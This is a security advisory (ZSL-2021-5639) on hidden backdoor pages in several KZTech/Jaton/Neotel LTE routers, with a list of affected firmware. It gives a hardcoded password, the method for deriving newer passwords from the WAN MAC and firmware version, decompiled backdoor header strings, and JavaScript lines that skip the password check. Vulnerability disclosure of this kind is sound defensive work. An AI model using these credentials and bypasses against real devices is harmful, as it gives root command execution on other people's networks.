KZTech/JatonTec/Neotel JT3500V 4G LTE CPE 2.0.1 Remote Code Execution (Backdoors)
Vendor: KZ Broadband Technologies, Ltd. | Jaton Technology, Ltd.
Product web page: http://www.kzbtech.com | http://www.jatontec.com | https://www.neotel.mk
http://www.jatontec.com/products/show.php?itemid=258
http://www.jatontech.com/CAT12.html#_pp=105_564
http://www.kzbtech.com/AM3300V.html
https://neotel.mk/ostanati-paketi-2/
Affected version: Model | Firmware
-------|---------
JT3500V | 2.0.1B1064
JT3300V | 2.0.1B1047
AM6200M | 2.0.0B3210
AM6000N | 2.0.0B3042
AM5000W | 2.0.0B3037
AM4200M | 2.0.0B2996
AM4100V | 2.0.0B2988
AM3500MW | 2.0.0B1092
AM3410V | 2.0.0B1085
AM3300V | 2.0.0B1060
AM3100E | 2.0.0B981
AM3100V | 2.0.0B946
AM3000M | 2.0.0B21
KZ7621U | 2.0.0B14
KZ3220M | 2.0.0B04
KZ3120R | 2.0.0B01
Summary: JT3500V is a most advanced LTE-A Pro CAT12 indoor Wi-Fi
& VoIP CPE product specially designed to enable quick and easy
LTE fixed data service deployment for residential and SOHO customers.
It provides high speed LAN, Wi-Fi and VoIP integrated services
to end users who need both bandwidth and multi-media data service
in residential homes or enterprises. The device has 2 Gigabit LAN
ports, 1 RJ11 analog phone port, high performance 4x4 MIMO and
CA capabilities, 802.11b/g/n/ac dual band Wi-Fi, advanced routing
and firewall software for security. It provides an effective
all-in-one solution to SOHO or residential customers. It can
deliver up to 1Gbps max data throughput which can be very
competitive to wired broadband access service.
Desc: The device has several backdoors and hidden pages that
allow remote code execution, overwriting of the bootrom and
enabling debug mode.
Tested on: GoAhead-Webs/2.5.0 PeerSec-MatrixSSL/3.1.3-OPEN
Linux 2.6.36+ (mips)
Mediatek APSoC SDK v4.3.1.0
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2021-5639
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5639.php
03.02.2021
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Older and newer models defer in backdoor code.
By navigating to /syscmd.html or /syscmd.asp pages
an attacker can authenticate and execute system
commands with highest privileges.
Old models (syscmd.asp) password: super1234
Newer models (syscmd.html) password: md5(WAN_MAC+version):
$ curl -k https://192.168.1.1/goform/getImgVersionInfo
{"currentImg":["1", "Y", "V2.0.0B3210"], "shadowImg":["0", "Y", "V2.0.0B04"]}
...
pcVar6 = (char *)nvram_bufget(1,"WAN_MAC_ADDR");
if (*pcVar6 == 0) {
pcVar6 = "6C:AD:EF:00:00:01";
}
memset(acStack280,0,0x100);
sprintf(acStack280,"generate debug password : %s %s",pcVar6,"V2.0.0B3210");
...
psMd5Init(auStack112);
psMd5Update(auStack112,local_10,local_c);
psMd5Final(auStack112,uParm1);
return;
...
Another 2 backdoors exist using the websCheckCookie() and specific header strings.
...
iVar2 = strncmp(acStack2268,"UPGRADE:927",0xb);
if (iVar2 != 0) {
return 0xffffffff;
}
if ((*(char **)(iParm1 + 0xdc) != (char *)0x0) &&
(iVar2 = strncmp(*(char **)(iParm1 + 0xdc),"TONY@KZT",8), iVar2 != 0)) {
return 0xffffffff;
...
if (iVar1 != 0) goto LAB_0047c304;
LAB_0047c32c:
WebsDbgLog(2,"[%s] UserAgent=%s, username=%s,command=%s","startSysCmd",__s1_00,__s1_01,__s1);
LAB_0047c35c:
__n = strlen(__s1);
if (__n == 0) {
snprintf(acStack1560,0x200,"cat /dev/null > %s","/var/system_command.log");
WebsDbgLog(3,"[%s] %s","startSysCmd",acStack1560);
system(acStack1560);
websWrite(iParm1,"invalid command!");
goto LAB_0047c3f8;
}
...
Bypass the backdoor password request and enable debug mode from within the web console:
$('#div_check').modal('hide'); <--- syscmd.html
g_password_check_alert.close(); <--- syscmd.asp
